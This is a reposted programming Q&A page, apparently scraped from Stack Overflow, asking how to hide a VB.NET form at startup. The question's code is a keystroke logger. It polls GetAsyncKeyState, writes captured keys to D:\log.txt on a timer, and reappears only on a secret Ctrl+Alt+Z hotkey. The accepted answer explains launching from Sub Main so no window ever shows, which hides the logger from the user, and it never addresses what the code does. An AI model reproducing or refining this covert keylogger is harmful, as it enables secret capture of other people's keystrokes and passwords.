如何在启动时隐藏vb表单? [英] How to hide vb form on startup?

查看:32
本文介绍了如何在启动时隐藏vb表单?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我试图在启动时隐藏主窗体,但由于某种原因我没有这样做.在下面的代码中,我创建了一个隐藏表单的按钮,但我想在加载时隐藏表单.请帮帮我.提前致谢.

I am trying to hide the main form on startup, but for some reason I am failed to do that. In the following code I have created a button that hides the form, but I want to hide the form on load. Please help me out. Thanks in advance.

Option Strict On

Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer

    Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick
        Dim result As Integer
        Dim key As String

        Dim i As Integer
        For i = 2 To 90
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                tbLog.Text = tbLog.Text + Chr(i)
                If i = 13 Then key = vbNewLine

                Exit For
            End If
        Next i

        If key <> Nothing Then
            If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
                tbLog.Text = key
            Else
                tbLog.Text = key.ToLower
            End If
        End If

        If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "z" Then
            Me.Show()

        End If
    End Sub

    Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
        Me.Hide()
    End Sub
    Private msg As String = ""
    Private Sub timerSave_Tick() Handles timerSave.Tick
        My.Computer.FileSystem.WriteAllText("D:\log.txt", tbLog.Text, True)
        tbLog.Clear()

    End Sub

    Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
        tbLog.Text &= vbNewLine & "Closed at:" & Now & vbNewLine
        'My.Computer.FileSystem.WriteAllText("D:\log1.txt", tbLog.Text, True)
        timerSave_Tick()

    End Sub


    Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load

        tbLog.Text = " Started at :" & Now & vbNewLine

    End Sub

    Public Sub store(ByVal s As String)

    End Sub
End Class

推荐答案

如果您不想在启动时显示表单,那么解决方案是更改项目的启动方法,而不是尝试隐藏表单.

If you don’t want to display a form at startup then the solution is to change the startup method for your project rather than trying to hide the form.

在应用程序设置中,禁用应用程序框架"并将启动对象设置为Sub Main 而不是表单对象.然后在模块中编写适当的 Sub Main 入口点.

In the application settings, disable "Application framework" and set the startup object to Sub Main rather than a form object. Then write an appropriate Sub Main entry point in a module.

MSDN 有更多信息(尽管给出的一些信息本文中的内容严重误导).

The MSDN has more information (although some of the infos given in this article are grossly misleading).

这篇关于如何在启动时隐藏vb表单?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆